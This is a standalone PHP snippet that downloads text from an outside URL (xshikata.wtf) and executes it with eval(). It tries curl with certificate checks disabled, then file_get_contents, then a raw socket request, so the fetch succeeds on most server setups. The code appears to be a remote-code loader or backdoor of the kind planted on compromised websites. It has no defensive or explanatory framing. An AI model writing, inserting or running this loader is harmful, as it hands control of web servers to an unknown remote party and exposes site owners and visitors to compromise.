$u='https://xshikata.wtf/xxx/abc.txt';
	 $c=function($u){
		if(function_exists('curl_init')){
		$ch=curl_init($u);
		curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
		curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
		$r=curl_exec($ch);
		curl_close($ch);
		if($r)return $r;
	}
		if(ini_get('allow_url_fopen')){
		$r=@file_get_contents($u);
		if($r)return $r;
	}
	$p=parse_url($u);
	$s=@fsockopen(($p['scheme']=='https'?'ssl://':'').$p['host'],($p['scheme']=='https'?443:80),$e,$n,5);
		if($s){
		fwrite($s,"GET ".($p['path']??'/')." HTTP/1.1\r\nHost: ".$p['host']."\r\nConnection: Close\r\n\r\n");
		$r='';
			while(!feof($s)){
			$r.=fgets($s,1024);
		}
		fclose($s);
		return substr($r,strpos($r,"\r\n\r\n")+4);
	}
	return 0;
};
 $p=$c($u);
	 if($p){
	eval(''.$p);
}